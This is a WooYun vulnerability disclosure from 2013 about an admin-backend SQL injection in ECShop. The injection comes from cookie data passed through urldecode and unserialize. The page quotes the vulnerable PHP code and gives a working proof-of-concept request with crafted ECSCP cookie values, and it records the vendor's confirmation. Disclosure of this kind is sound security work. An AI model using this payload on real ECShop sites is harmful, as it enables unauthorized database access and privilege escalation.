当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-024840

漏洞标题:ecshop最新版本后台所有功能块通用SQL注入(全版本亦可)

相关厂商:ShopEx

漏洞作者: blue

提交时间:2013-05-30 23:44

修复时间:2013-08-28 23:45

公开时间:2013-08-28 23:45

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-05-30: 细节已通知厂商并且等待厂商处理中
2013-05-31: 厂商已经确认,细节仅向厂商公开
2013-06-03: 细节向第三方安全合作伙伴开放
2013-07-25: 细节向核心白帽子及相关领域专家公开
2013-08-04: 细节向普通白帽子公开
2013-08-14: 细节向实习白帽子公开
2013-08-28: 细节向公众公开

简要描述:

后台的SQL注入,几乎所有的后台功能块都能用此方法注入,进入后台就可以用此提升下自己的权限了,当然,“进入后台”让这个漏洞鸡肋了,你懂的~~~

详细说明:

$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));
这一句是核心,urldecode看到了么?所以啊,只要%27、%2527就能绕过init.php里对$_COOKIE的addslashes_deep了~~~
两个地方:
1.订单详情

/admin/order.php //158行
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));


2.后台几乎各功能块列表都会用到的get_filter()方法

/admin/includes/lib_main.php //718行
function get_filter($param_str = '')
{
$filterfile = basename(PHP_SELF, '.php');
if ($param_str)
{
$filterfile .= $param_str;
}
if (isset($_GET['uselastfilter']) && isset($_COOKIE['ECSCP']['lastfilterfile'])
&& $_COOKIE['ECSCP']['lastfilterfile'] == sprintf('%X', crc32($filterfile))) //这虽然麻烦,但可控制
{
return array(
'filter' => unserialize(urldecode($_COOKIE['ECSCP']['lastfilter'])), //这里又见重点
'sql' => base64_decode($_COOKIE['ECSCP']['lastfiltersql'])
);
}
else
{
return false;
}
}


1.png


看接下来的漏洞证明吧~~

漏洞证明:

订单详情的,这个好弄些

1.png


get_filter方法的,拿文章列表来测试,满足触发条件可能麻烦些,说个简单的方法,把条件“==”你控制不了的那一边echo输出出来,然后控制的那一边改一下就好了(我说的不绕口吧?)

2.png


相关代码(文章列表的,供测试)

GET:
http://localhost/test/ecshop/admin/article.php?is_ajax=1&uselastfilter=1
POST:
act=query&keyword=&cat_id=0
COOKIE:
ECSCP[lastfilterfile]=23A0E66;
ECSCP[lastfilter]=a%253A1%253A%257Bs%253A5%253A%2522start%2522%253Bs%253A2%253A%25221%2527%2522%253B%257D; //cookie修改这两处


怎样,有了这个,还要再找后台SQL注入么?

修复方案:

进入sql语句前,再进行过滤最靠谱

版权声明:转载请注明来源 blue@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2013-05-31 08:44

厂商回复:

感谢您为shopex安全做的贡献
我们会尽快处理
非常感谢

最新状态:

暂无